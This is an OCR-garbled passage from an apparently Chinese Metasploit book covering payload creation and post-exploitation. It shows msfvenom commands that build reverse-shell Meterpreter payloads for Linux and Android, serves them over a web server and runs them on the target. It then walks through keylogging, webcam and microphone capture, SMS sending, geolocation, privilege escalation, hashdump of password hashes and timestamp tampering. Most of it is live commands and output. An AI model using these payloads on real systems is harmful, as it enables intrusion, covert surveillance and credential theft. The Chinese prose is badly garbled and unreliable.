WEIAVERET (ilpayloadfLEOST ). HHEK Bpayloads

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

HEHERELHOSTRIE, HAF, RFFLPORTIIERIME 44442, LHOSTHE AY 1L B L FR a0 il
Y B T

msf exploit(handler) > set LHOST 192.168.65.128
LHOST => 192.168.65.128

FATE 258 T )5 Bhhandler i AR A, #2 T RS Sihandler) {45 f5 32 FH T T
3

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.65.128:4444
[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.65.131
[*] Meterpreter session 1 opened (192.168.65.128:4444 -> 192.168.65.131:49169) g

t 2013-09-04 06:29:07 +0530

meterpreter >
IEQTE B A BIRIREE, RIS 208055 1 Meterpreterfir A THEHIAUR . BN ABE, 78
ZEHERS, BRRZM T,

8] Microsoft Word (Not Responding)

WEMERNAIREE, Microsoft Word SBMgRz, X ERE XN HE L. o T—2 LG,
SFEFT F PR S E
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B Micrasoft Office Word ==
Microsoft Office Word is not responding

Windows can check online for a solution. If you close the program, you might lose
information.

< Check for a solution and close the program
< Close the program

< Wait for the program to respond

(w) View problem details

Microsoft Office 2007 &4 T /B M@ R HadL . L, BAPR Yo MeterpreteriE £ 2]
— AR b, A, ORI S W

7.4 {£F Metasploit SEEIXT Linux & FiRAYSIE

IR Z A T P73 (exe ) B iEWindowsRE—E, T AT LIARERFA L ff A elf 30455
B Linux RE R AR . BUFESE Fms fvenomfir A E— el 301, IR AN O3 45 Linux
A5, RGN — T handler, AbBEMBEIBIE RS A HBERE . T HCRE B WA SEEX Linux
RERNBIE,

root@mm: —# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192_168.10.107 LP
ORT=5555 -f elf> /var/www/html/pay3.elf

No platform was selected, choosing Msf::Hodule: :Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 71 bytes

FATEIEE T — 1 elf3CF, F5 & H B T Apache iy public H 5% . FITE Z i At 7 4 b FH
ms fvenomfg 2 —HE, P 1) X 7E T Windows#AE R Ge M BRI SCAF A8 XN exe, TMILinux R 48
A BR SIS el f, 2 TR TR ZEAEI S S I BAr RS, 808 m Bin Rk E
SCPFo BRAEARSEFRATT 0T LAAE B S tH A iR S R GE B 5 A BRI A A T~ 25 3R

jroot@ubuntu:™# wget http:/-192.168.10.107/pay3.elf
-2016-07-05 18:20:57-— http:r-192.168.10.107 pay3.elf
onnecting to 192.168.10.107:80... conmected.

TTP request sent, awaiting response... 200 0K
Length: 155
[Baving to: "pay3.elf’

-—.-Kss in 0s

root@ubuntu:™# chmod ?77 pay3.elf
jrootRubuntu:™# ./ pay

pay3.elf
root@ubuntu:"# .

pay3d.
root@ubuntu:"# .spayld.elf

WA Fwget TR T HICME, ARG chmoafir &35 e 4= AR .
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9 H A B R A 89 AT A AR SR 897777 600 7T 1A B ) SL A R 2 38 4
e, IXEBHAA A A AT B SR K A AT e O

PN ORPATIXA SN, 30K fim & handler, FRATTHKE R4S HARFEF i Meterpreterfi B, 31X ~ied
BRI ER.

msf > use exploit/multi/handler

psf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp

msf exploit(handler) > setg LHOST 192.168.10.107

LHOST => 192.168.10.107

msf exploit(handler) > setg LPORT 5555

LPORT => 5555

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.10.107:5555

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage... (105 bytes)

[*] Sending stage (1495599 bytes) to 192.168.10.108

[*] Meterpreter session 5 opened (192.168.10.107:5555 -> 192.168.10.108:33070
) at 2016-07-05 18:21:30 +0530

|meterpreter > 1s
Listing: /root

Mode Size Type Last modified Name

100600/ rw======= 1142 fil 2016-06-21 16:09:43 +0530 .bash_history
100644/rw-r--r-- 3106 fil 2014-02-20 08:13:56 +0530 .bashrc

40700/ rwx------ 4096 dir 2016-06-19 23:38:00 +0530 .cache
100600/ rw======= 125 fil 2016-06-20 00:05:38 +0530 ._mysql_history

100644/rw-r--r-- 140 fil 2014-02-20 08:13:56 +0530 .profile
100777/ rwxruxrwx 188 fil 2016-07-05 18:10:50 +0530 pay2.elf
100777/ rwxruxrwx 155 fil 2016-07-05 18:20:04 +0530 pay3.elf

|meterpreter > sysinfo
Computer : ubuntu
0S ! Linux ubuntu 4.2.0-27-generic #32-~14.04.1-Ubuntu SMP Fri Jan 2|
2 15:32:27 UTC 2016 (i686)
Architecture : 1686
Neterpreter : x86/linux

|meterpreter >

MLinux & 5t 115 Meterpreterf SR A ¥, LAk, Linux KRG n] e Bt . 7
X HPEEAE RS T — BRI A2 5 & T handler,

8 # *Linux A 4P KDL X469 . %42 8, #5775 Flhttps://www.offensive-security.

com/metasploit-unleashed/binary-linux-trojan/,

7.5 {£ Metasploit Z{dF Android &%t

A LA — AN B APKSCHE, A nT DB 2 Ar v A B — A B 19 APKSC >k 2 Android
Ff o ATRHSE—MIorik. \i W E R Fns fvenomfi 4 KA H#— N APK S,
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rootfmm:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.1
68.10.107 LPORT=4444 R> /var/www/html/pay2.apk

No platform was selected, choosing Msf::Module::Platform: :Android
from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw paylecad

Payload size: 8833 bytes

NBIREAPK S EZ 5, FA 155 2 sz 4 (AR TR ) RN APKICHE, 5
HHMEEMX AN FHORAER HZEE PR T X OEENAPKIU P Z R & kA4

A This type of file can harm your device. Do X
you want to keep pay2.apk anyway?

NEGEMZ)E, BT LRSS T, R R R

£3 MainActivity

Do you want to install this application? It will
get access to:

take pictures and videos

modify your contacts
read your contacts

@  precise location (GPS and network-based)
& record audio
{. directly call phone numbers

® this may cost you money
read phone status and identity

ﬂ read your text messages (SMS or MMS)
receive text messages (SMS)
send and view SMS messages
& this may cost you money

B modify or delete the contents of your USB
storage
read the contents of your USB storage

CANCEL INSTALL

Y R BB 2 TE TN IR PP AR 2 I I EORAOAL R o Ak, el 25l LABRAR TR0 20
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BB FH P B NSRRI o s s T — SRR IE #1247 e AOA R o 42254
W25, BB wn] LT B AL S8 e iR .

msf > use exploit/multi/handler
msf exploit (handler) > set payload android/meterpreter/reverse tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.107
LHOST => 192.168.10.107

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.10.107:4444
[*] Starting the payload handler...
[*] Sending stage (60830 bytes) to 192.168.10.104

[*] Meterpreter session 1 copened (192.168.10.107:4444 -> 192.168.1
0.104:44753) at 2016-07-05 18:47:59 +0530

meterpreter > I

ELKRE, FATRA R T s RS M Meterpreterti AR ? T —2 ST EMN TR B
B, BTESCRE — B R REA TR

meterpreter > check root
Device is rooted

A LM# Fcheck_root Ar s HARE A 215 B AT T rootfifE . FIHIKEE A HAL PR EL

meterpreter > send sms -d 813_ -t "hello"
SMS sent - Transmission successful

i send_smsfir & il LMBRE E M FHLRAL RS AR 615, PHRE AR E R T A%
I o

Peerlyst

16 17:38.

5:48 PM

Sat, 06/11/2016

O cal

you later.

12:00 PM
Tue, 07/05/2016
O hello
701 PM

2
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TS HECERIILE. EPRERIE sy sinfoffRAF —TRXE “HY”
915 L.

meterpreter > sysinfo
Computer : localhost
0S : Android 6.0.1 - Linux 3.10.40-g34fl6ee (armv71l)

Heterpreter : java/android

PRI EF LA TE L

meterpreter > wlan geolocate
[*] Google indicates the device is within 150 meters of 28.5448806,77.3689138.

[*] Google Maps URL: https://maps.google.com/?g=28.5448806,77.3689138

i AT ] L AR X A AR, AT LR B AR T L ARG B 0

= 28.5448806,77.3689138 2,

Cadence Gug

Chocomocho

&
Shri Voda Mahadev Fl
Shiv Temple

annt 0 ann! " °

28°32'41.6'N 77°22'08.1"E Dvg'l:ad Planet Lotier &
Directions

® 3C Lotus Baulevard
@ -B < State Bank Of India wu;eef:']?:?k 7'min walk o? min walk - home
SAVE NEARBY SEND TO YOUR SHARE o= i :
PHONE Tier 12, Lotus
Boulevard
)
®  Addalabel Bl atm

[)1]] hil

RO & THLRI BRI B R

meterpreter > webcam snap
[*] Starting...
Got frame
[*] Stopped
Webcam shot saved to: /root/X1GjwKRr.jpeg

A LA EEALE B E A




gCijLhvF.jpeg ® 00

Image Edit View Go Help
* Previous e @ @ A[A 5 ¢

Image Properties v M

General i ‘

Name:

gCijLhvF jpeg
Width:

4160 pixels
Height:

3120 pixels
Type:

JPEG image
File size:

483.4 kB
Folder:

root

Metadata

Aperture Value:

fiz.0

Exposure Time:

1/12 sec.

Focal Length: l
0.0 (35mm film), 3.8
(lens)

Flash:

Flash did not fire

1SO Speed Rating:
870

Metering Mode:
Unknown

Camera Model:
Nexus &

4160 x 3120 pixels 483 4 kB 24% 172

7.6 NG

FEART R IRAT N FIR T —Fh & P imiB B EGE o (& P e 2 i — b F 2 R )2
B T RRIR ) BT TAEARAS 0 o 78 R4S IR ;LA UG BN AR ETE T, thnl A
BRI T AR ) T AR

AREER Y THFUHIET R RGTEA . Tl 12420 T IT W E LR85 7 ik L HAE
5%, H Arduino X} 3% T Windows Y REEHEAT T8E, T T M QIR X 0B B
He K qanfrr i FMetasploiti#F A TDNSHR IR M o fe)i, 1027 2] T WX 5 F Linux (9 % 1 it 1 11835
P K A %t Android i 45 HHTB 5 |

TE R —EH, A PR RS R A B 1) A B
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MetasploitBy# & e

R E G SR, BN AR BB ZE B ARG, 7

Mike Monteiro

ARERE A HiMetasploith) P FEINBEN S B BRI PR LI . fEX—Fd, FRATR H AL
TEJ B BT DL IR DRE b, B2 17 AR ZRBAESS, BInd@ THAL IR | ARIC S0
m. ERAHER, F%.

T2 A TR AR o, FRATPRO DL LA 2 A T B A

Q SEMHEAR IR BIEES .
Q =GR BB
Q B3l

Q TR

Q MAAF A R

BAEBIT U6~ Metasploit P Y B BRI, T — T WEERIIR IR .

8.1 Metasploit [FiZiE = HIE AL FNIH

BB S b 1 —L8 5 B B a7 7% , A id BUAE B 3 ) 2 i T A $2 25 Ay
Iifie. ZATHA IO A B AT S BT HAR RGERB &, ANBAET AR, B0 BER7E a4
FEAYBEN RS b T NI R S B &S TR .

82 EFXRFLEWS

iitsMeterpreterfir 4 B T 22 B Meterpreter S 4 af i) B B MO TTHAL M A 1L LA T
JE B BRI TIRE . B SE N — 2] LIAE B RS BUR B 3 B B R A Y i T
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8.2.1 #3EhxEH

i IS BhSR B8 A FUAR i AR BT A 4o R PR, fil Ane 1pali 2t i AFT

meterpreter > 7

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel

disable_unicode_encoding Disables encoding of unicode strings
enable_unicode encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

get_timeouts Get the current session timeout values

help Help menu

info Displays information about a Post module

irb Drop into irb scripting mode

load Load one or more meterpreter extensions

machine_id Get the NSF ID of the machine attached to the session
migrate Migrate the server to another process

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values

sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism

use Deprecated alias for 'load'

uuid Get the UUID for the current session

write Writes data to a channel

822 F&E®ms

TEHT IR B BT 55 e, A ] BETR AT AT 5 ( Hednilil s — AN e, sl
BATIRTAR RS ), H T HATHRLS, TR AT Meterpreter&TE VI G &, X
A s ] AN B BT i background i 4o

meterpreter > background
[*] Backgrounding session 1...
msf exploit(rejetto_hfs_exec) > sessions -i

Active sessions

Id Type Information Connection
1 meterpreter x86/win32 WIN-3KOU2TIJ4EO\mm @ WIN-3KOU2TIJ4EO0 192.168.10.11
14444 -> 192.168.10.110:49250 (192.168.10.110)

N

msf exploit(rejetto_hfs_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

M EHERERE R E S, BIMELBIESETHRE T iEE . Y5 — D aimvslEa
RUIHE, 5T LMl sessionfr il FiZ&iG ETEbniRST, Mk Hsessions -i,




8.2.3 #18 ID # UUID /%
AT LIRS B 215 i Amachine 1df 2 Bk BULESID, W PR~

meterpreter > machine_id
Machine ID: e43ad99d79dd7134b8a%e42c1683T0d5

535k, Rk Auuiafir @8] LA R EHLUUID, 41T B s,

meterpreter > uuid
UUID: 2a35d6e656e854e0/x86=1/windows=1/2016-07-10T08:31:282

8.24 BIEEERRE

R TS BERAE, RATATRERTEY B EEE, MR EMEHNEE, XEERET L it
channelfyS L8, W FEFI~.

meterpreter > channel -1

Id Class Type

1 3 stdapi_process
meterpreter > channel -r 1
Read 134 bytes from 1:

C:\Users\mm\Downloads\abb497bd93aff9fa3379b2aat73fc9c7-hfs2.3_288>
C:\Users\mm\Downloads\abb497bd93aff9fa3379b2aaf73fc9c7-hfs2.3_288>

ELEF, T Hchannel 149 THrA W HVEEEE, R Hchannel —r
[channel-id] {2 Ji'ﬁ?*Tb&HXﬁTEE’JLr‘ Hil, Rl RGEARVHE S A K2 R I TR
B, o028 5AEEAE, X5 A A E T Meterpreterfiy &1 T SC B IEAE F5 18

8.2.5 JFKEVAFRRMHAIZEE

—HEIAEA BV RG, — 2R G LRGP lE, RARZ RS —
AR, IXSE(E T3 0CHE, PR FRATTR IR I 58 AR A SR FIIE RS AR . BRAE KT B W AR U
)ﬂz %D %ﬂf’f; Ch o

meterpreter > machine_id

Machine ID: e43ad99d79dd7134b8a9%42c1683F0d5
meterpreter > getuid
Server username: WIN-3KOU2TIJ4EOQ\mm

meterpreter > getpid
Current pid: 1844




214 % 8% HAIEIALA
M EER LB, @i Agetuidfn s, RATEH AW 24 Amm, 85 76 24 7
Meterpreteralﬁ*%/\getpidun7, Al AR AT ARID ., B st 22 F 24 ijMeterpreter
SE TR IR A TELEAE B

1844 P kaqITswCZS.exe x86 2
pData\Local\Temp\rad9B262 . tmp\kKfqITswCZS .exe

WS, BT AR [ — R A AE R G SCPEJe AR Y ST

&

8.26 HHRLZER
LG E—F AR A sysinfof @ L B/R YA RENGEE, WTNERPIR,

WIN-3KOU2TIJ4EO\mm C:\Users\mm\Ap

H e, — & ¥ Meterpreter i # 45 ) —
£ %‘svchost.exe °

— Mg Auy st A2 b ) heexplorer.exe

meterpreter > sy51nfo

Computer
0S
Architecture

System Language :
: WORKGROUP

Domain

Logged On Users :
: x86/win32

Meterpreter

WIN-SWIKKOTKSHX

: Windows 2008 (Build 6001, Service Pack 1).
: x86

en_US

2

8.2.7 M{dns
LM TR R I ipconfig/ifconfig. arpMnetstatfiid kA EMEKIER .

meterpreter > ipconfig

Interface 1

Name
MTU

IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 10

Name
Hardware MAC :
MTU
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

: Software Loopback Interface 1
Hardware MAC :
1 4294967295
IPv4 Address :

00:00:00:00:00:00

127.0.0.1

255.0.0.0

s

ffEf F1ff: FEF: FFFF FEFF FFFF: FFFF: FEFS

: Intel(R) PR0/1000 MT Desktop Adapter

08:00:27:84:55:8c

: 1500

192.168.10.109
255.255.255.0
fe80::187c:6989:bcch5:254F
fiff. fff: FEFF: FFFF::
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i/ ipcon figfird Al LA A APLIPHLIE IS K05 BAR R TR R R X e BXREE,
PR BT LR R 8088 LI AT N BRI 45

ammvTUEFﬁﬁﬁﬁﬁﬁIMEi HEEAIPHNE, SXRERTAT LASRAS B 2T HAR4R
ERGHIFER (FIAERR) B0, XA IR ETR.

meterpreter > arp
ARP cache

IP address MAC address Interface
192.168.10.1 e8:de:27:86:be:0a 10
192.168.10.105 b0:10:41:c8:46:df 10
192.168.10.112 08:00:27:55:fc:fa 10
192.168.10.255 ff:ff:ff:Ff:FF:FF 10

224.0.0.22 00:00:00:00:00:00 1
224.0.0.22 01:00:5e:00:00:16 10
224.0.0.252 00:00:00:00:00:00 1
224. .252 01:00:5e:00:00: fc 10

0.0
255.255.255.255 ff:ff:ff:ff:ff:ff 10

netstat iy W ST IR G O UGB T7E X e 1 RS B . BRIHITSS
W R TTE AR RS st ARy s S, W FEFTR.

meterpreter > netstat

Connection list
Proto Local address Remote address State User Inode PID/Program name
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 4/System
tep 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 812/svchost.exe
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:3389 0.0.0.0:* LISTEN 0 0 1144 /svchost.exe
tep 0.0.0.0:8081 0.0.0.0:* LISTEN 0 0 904/hfs.exe
tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 496/wininit.exe
tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 848/svchost._exe
tep 0.0.0.0:49154 0.0.0.0:* LISTEN 0 0 980/svchost.exe
tcp 0.0.0.0:49155 0.0.0.0:* LISTEN 0 0 584 /1sass.exe
tcp 0.0.0.0:49156 0.0.0.0:* LISTEN 0 0 1564 /svchost.exe
tep 0.0.0.0:49157 0.0.0.0:* LISTEN 0 0 572/services.exe
tcp 192.168.10.109:49175 192.168.10.112:4444 ESTABLISHED 0 0 1856/notepad. exe
tcp 192.168.10.109:49174 192.168.10.112:4444 ESTABLISHED 0 0 3432/zVAwcrHboKR. exe
tep 192.168.10.109:139 0.0.0.0:* LISTEN 0 0 4/System
tcpb :::80 HHH LISTEN 0 0 4/System
tcpb :::135 e LISTEN 0 0 812/svchost.exe

8.2.8 MH#EIEHS
i Apwafnds, TILABEE MATITAEH 35, AR EFR,

meterpreter > pwd
C:\Users\mm

BEAh, BT R cafi W ARSI, M mkai R B — D30k, IR ERTR.
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% 8%

HeIfET R

meterpreter > cd C:\\
meterpreter > pwd
C:\

meterpreter > mkdir metasploit
metasploit

Creating directory:

meterpreter > cd metasploit

meterpreter > pwd
C:\metasploit

fifi fiMeterpreterH ffJup 1 oadfir &5k AT LLKE SO/ EAL R BAR RS, W F s

meterpreter > upload /root/Desktop/test.txt C:\
: /root/Desktop/test.txt -> C:\
: /root/Desktop/test.txt -> C:\\test.txt

[*] uploading
[*]1 uploaded

B ] LU ] edd eir A NSO 44 S8 B SCAFRIE R, 4R TR .

This is a test file.. Metasploit Rocks]]

BT LUl cat s S A E XIFRIN A, IR ERTR.

meterpreter > edit C:\\test.txt
meterpreter > cat C:\\test.txt
This is a test file
Metasploit Rocks

AL s AT AB i H AP RTA SCHE, R E R .

|meterpreter > 1s C:\

Listing: C:\

|Mode

40777/ rwxrwxrwx
100444/r--r--r--
40777/ rwxrwxrwx
40777/ ruxrwxrwx
40777/ rwxrwxrwx
40555/ r-xr-xr-x
40777/ rwxrwxrwx
40777/ ruxrwxrwx
40555/ r-xr-xr-x
40777/ ruxrwxrwx
100777/ ruxrwxrwx
100444/r--r--r--
100666/ rw=-rw-rw-
40777/ ruxrwxrwx
40777/ rwxrwxrwx
100666/ rw-rw-rw-
100666/ rw=-rw-rw-

Size Type Last modified

0 dir 2008-01-19 14:15:
8192 fil 2016-03-24 05:06:
0 dir 2016-03-24 05:06:
0 dir 2008-01-19 17:21:
0 dir 2008-01-19 15:10:
0 dir 2016-06-19 21:13:
0 dir 2008-01-19 17:21:
0 dir 2016-03-24 04:06:
0 dir 2016-06-19 20:27:
0 dir 2016-06-19 21:11:
24 fil 2006-09-19 03:13:
333203 fil 2008-01-19 13:15:
10 fil 2006-09-19 03:13:
0 dir 2016-03-23 16:15:
0 dir 2016-06-19 22:03:
1387765760 fil 2016-06-20 08:42:
37 fil 2016-06-19 22:11:

37
01
00
52
52
06
52
36
20
10
36
45
37
31
51
49
36

+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530
+0530

Name

$Recycle.Bin
BOOTSECT.BAK

Boot

Documents and Settings
PerfLogs

Program Files
ProgramData

System Volume Information
Users

Windows

autoexec.bat

bootmgr

config.sys

inetEub

pagefile.sys
test. txt
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ﬁiﬁﬁrmdirnn?TUU\E*T:%/LJ:%JK?* RE WS, @Emrmunvj‘b{ﬂﬂﬂﬁf? ESCIE,
TEFR,

meterpreter > rm test.txt
meterpreter > 1s

Listing: C:\

Mode Size Type Last modified Name

40777/ raxrwxrwx 0 dir 2008-01-19 14:15:37 +0530 $Recycle.Bin
100444/r=-r--r-- 8192 fil 2016-03-24 05:06:01 +0530 BOOTSECT.BAK

40777/ rwxrwxrwx 0 dir 2016-03-24 05:06:00 +0530 Boot

40777/ rwxrwxrwx dir 2008-01-19 17:21:52 +0530 Documents and Settings

0
40777/ rwxrwxrwx 0 dir 2008-01-19 15:10:52 +0530 Perflogs

40555/ r-xr-xr-x 0 dir 2016-06-19 21:13:06 +0530 Program Files
40777/ rwxrwxrwx 0 dir 2008-01-19 17:21:52 +0530 ProgramData
0
0
0

40777/ rwxrwxrwx dir 2016-03-24 04:06:36 +0530 System Volume Information
40555/ r-xr-xr-x dir 2016-06-19 20:27:20 +0530 Users

40777/ rwxrwxrwx dir 2016-06-19 21:11:10 +0530 Windows

100777/ rwxrwxrwx 24 fil 2006-09-19 03:13:36 +0530 autoexec.bat
100444/r--r--r-- 333203 fil 2008-01-19 13:15:45 +0530 bootmgr

100666/ rw-rw-rw- 10 fil 2006-09-19 03:13:37 +0530 config.sys

40777/ rwxrwxrwx 0 dir 2016-03-23 16:15:31 +0530 inetpub

40777/ rwxrwxrwx 0 dir 2016-06-19 22:03:51 +0530 metasploit

100666/ rw-rw-rw- 1387765760 fil 2016-06-20 08:42:49 +0530 pagefile.sys

ffifdownloadafird nl LI BAR FESCH:, T EPIR,

meterpreter > download creditcard.txt
[*] downloading: creditcard.txt -> creditcard.txt
[*] download : creditcard.txt -> creditcard.txt

8.29 HEE®HEL

MetasploitHib #2412 M st ifi i<, BlUnstims)zs | IRk Fa . A sE Mg
T BRI Tﬁéﬁﬂjﬁ:uné\ﬂ@@ﬁﬁ%%o

meterpreter > enumdesktops
Enumerating all accessible desktops

Desktops

Session Station Name

WinStad Screen-saver
WinSta0 Default
WinSta0 Disconnect
WinSta0 Winlogon

meterpreter > getdesktop
Session 1\W\D

ﬁ)ﬂenumdesktopsﬂ:ﬂgetdesktopﬁﬁ Tu%ﬁ%&f"% EME’J%EhM: enumdesktops
A T BTA T LAAR B ST, TigetdesktopdH T 24 Fif 5 1 AUAHFEE B o
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8.2.10 #HEFniE1&L5ZE

TEBEAT PR AT . BRARRIAMR . SCIF D U D SR BB R A I, AAZRT S ek A 5 1Y

VRl o Al T U snapshot AT JRIBCY Fif s m A PRI, ARt nl i H AR
KR

meterpreter > screenshot
Screenshot saved to: /root/qNiFYBhp.jpeg

AT LA B R 7 ik AR AR L o

IS, T

qNiFYBhp.jpeg

Image Edit View Go Help
« Prious » Next @ @ Q[Q] H ¢
Image Properties v % 15}

General

Name:
aNIFYBhp jpeg e
‘Width: File Edit Format View Help
800 pixels My Password is Nipun@lz3|

Height: Videopower
600 pixels
Type:
JPEG image

File size:
249 kB

Folder:

| root |

Metadata

Aperture Value:

Exposure Time:

Focal Length:

Flash:

Sstart| | Zhom & | _# Local Disk {C) | Untitled - Notepad

800 x 600 pixels 24.9kB  100%

NHERFEF D AT LA SR Gk IAE R, AR R IR S,

meterpreter > webcam_list
1: Lenovo EasyCamera
2: UScreenCapture

2/3

i Flwebcam_11st a2 Binl LK Bbr LT A $65 k5128 ok . SR )5 i Hwebcam_stream

i A AR Sk St S, AR BB o

meterpreter > webcam_stream
Starting. ..
Preparing player...
Opening player at: bAsPojXMW.html
Streaming. ..
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-
A\

WA TR, SUHERES IR T — MRSk, T EER.

| Metasploit webcam_stre... % | %
- o file: .i].fronr.{_hAsPe_i)_(M html
%iMost Visited v [lJOffensive Security " Kali Linux ™ Kali Docs " Kali Toots {BExploit-DB W Aircrack-ng

Target IP : 192.168,10.105
Start time : 2016-07-10 16:24:21 +0530
Status 1

.’\-

root@mm: ~ e o0

File Edit View Search Terminal Help

meterpreter > webcam_snap
[*] Starting...
Got frame
[*] Stopped -'

Webcam shot saved to: /root/NTeMplrH.jpeg
meterpreter

r >
erpreter >
meterpreter >
meterpreter >
>

meterpreter >

meterpreter >
meterpreter >

>
meterpreter >

meterpreter >
meterpreter >
meterpreter >
meterpreter >
meterpreter >

Matering Mode:

Camera Modsk:

1280 % 720 pixels 32148 100X
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HLEPRFATRT RE T Wl H ARG R T PR MR T, IR 2T LM i record_micfir 4, 4N
FEFTR.

meterpreter > record_mic

[*] Starting. ..

[*] Stopped

Audio saved to: /root/NrouXgVj.wav
meterpreter >

Wl LIRS H record_micir BRI - afE S EOR$E E 5 KB, XS5 s

Meterpreter 1 73— 5 AU BESE il LI H AR R GEA R B ], LACHES P ) et ]
%, IIMAEH AN E AR EALA I ] B R EGE . XA e U] dlet imefir &S5 BE,
W E R

meterpreter > idletime
User has been idle for: 16 mins 43 secs

W H AR B F s rh o ] UA SR Z A E R, R R Akey scan_start i
2 ?iETuF' SR I TR

meterpreter > keyscan_start
Starting the keystroke sniffer...

IR Z )5, fiflkeyscan_dumpfir K T HEERLICSE, WFIR,

meterpreter > keyscan_dump
Dumping captured keystrokes...

<LWin> r <Back> notepad <Return> My Pasw <Back> sword is Nipun@l23

TEX—Fp, HACLE] TIRZ L. HFERE LR B BRI,

8.3 {# M Metasploit F IS KT SIEMELR
X —T7H, FRATRRE T AR A IR I 15 Bk Y AR

8.3.1 IRIEREHHIEL

BN E—5ridi, IRAE A Meterpreter2s i A— MG SO AR . — B HIRRGEH -
RIXAHFRARTER, M2 XA 3R, SRt RATE I BAn RS IR i 2
FiMeterpreteriF 7 2| T2 3EFE |, Folllexplorer.exenl{ & svchost.exe, XKLL AT LAREG# 7 F
HRM, LMl fmigratefr K e BaX MEE. Bl Hostn S AF E% B s APID, 4N
TEIFR.
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1716 1896 KMFtp.exe x86 2 WIN-3KOU2TIJ4EO\mm C:\Program Fil|
es (x86)\KONICA MINOLTA\FTP Utility\KMFtp.exe
1788 3004 conhost.exe x64 2 WIN-3KOU2TIJ4EO\mm C:\Windows\Sys
tem32\conhost. exe
1844 2216 kKfqITswCZS.exe x86 2 WIN-3KOU2TIJ4EO\mm C:\Users\mm\Ap
pData\Local\Temp\rad9B262 . tmp\kKfqITswCZS . exe
itild 1820 explorer.exe x64 2 WIN-3KOU2TIJ4EO\mm C:\Windows\exp|
lorer.exe
2216 696 wscript.exe x86 2 WIN-3KOU2TIJ4EO\mm C:\Windows\Sys
WOW64\wscript. exe
explorer.exePIDJZ 1896, ILFEHL(H Hmigratefi 2 ¥ Meterpreteril # 21X N HEFE, R

KR

meterpreter > migrate 1896
[*] MWigrating from 1844 to 1896...
[*]1 Migration completed successfully.

meterpreter > getpid
Current pid: 1896
meterpreter >

FATE LW Meterpreter LR 2 T explorer.exeif 2 I .

@ EAHAR T R A F BARIEAK,

8.3.2 FRENRLGHREIEFIR

AR R I8 325 ) R PP LA B A RAB AT 1, IR A (Uil A ge t sy s temfip &L T AARHL

RGP BIAR, R E R

meterpreter > getuid
Server username: DESKTOP-PESQ21S\Apex

meterpreter > getsystem

..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sy51nfo

Computer : DESKTOP-PES021S

0S : Windows 10 (Build 10586).
Architecture : x64 (Current Process is WOW64)
System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/win32

RGPAEBIAUR G BE T fe i SO WA BEAER , T AFRATRT LLSE A H bR R 48 B AR 44T

9 getsystemti f LA # 89 Windows & % Wi5 47 R KA2RE, RAFIE A Aey

FEIAIR Ty 5 Fo B R AR ) AR

8.3.3 {¥H nashdump FKENZREFE

T AR RGP BRRZ 5, #nT LU 5 A hashaunpfir & FRIBPGE 7 R 40 L&
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RIS AE, W EETR.

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 62e273ef3flebd94630c73c8eeb9de20. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

Apex: "1tol]5"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404 eeaad3b435b51404ee:31d6cfeddl6ae931b73c59d7e0c08
9c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0: : :
DefaultAccount:503: aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0ch
89c0:::

Apex:1001: aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490F143d5F: : :

R TEBERGAEZIT, BT I A bR RGEAE— R pass-the-hash I i

A % pass-the-hash 2 & 49 £ % 13 &, 7% % I https://www.offensive-security.
ﬂ com/metasploit-unleashed/psexec-pass-hash/,

F-He 75 — A~ & T pass-the-hash =t £ & L 5 #3609 0 M F AL, Wit
https://www.youtube.com/watch?v=ROvGEk4JG94,

8.3.4 f£M timestomp IEXCHAYITIEIRTIE], fERLAT E)F0 6 R E]

Metasploitf i FHE IR, MAAANU B PGEER I T T IR R BB 5 . TR R
A BB B S A T Tl Bt T) . A6 RSt )RR Rt e J— AR e o 78 E—T5, JRMIBIE T —
24 Mcereditcard txtf KA, BUFERHT ¢ imes tompfir 2 RAGHCE BB, N EIFIR,

meterpreter > timestomp -v creditcard.txt

Modified 1 2016-06-19 23:23:15 +0530
Accessed : 2016-06-19 23:23:15 +0530
Created 1 2016-06-19 23:23:15 +0530

Entry Modified: 2016-06-19 23:23:26 +0530

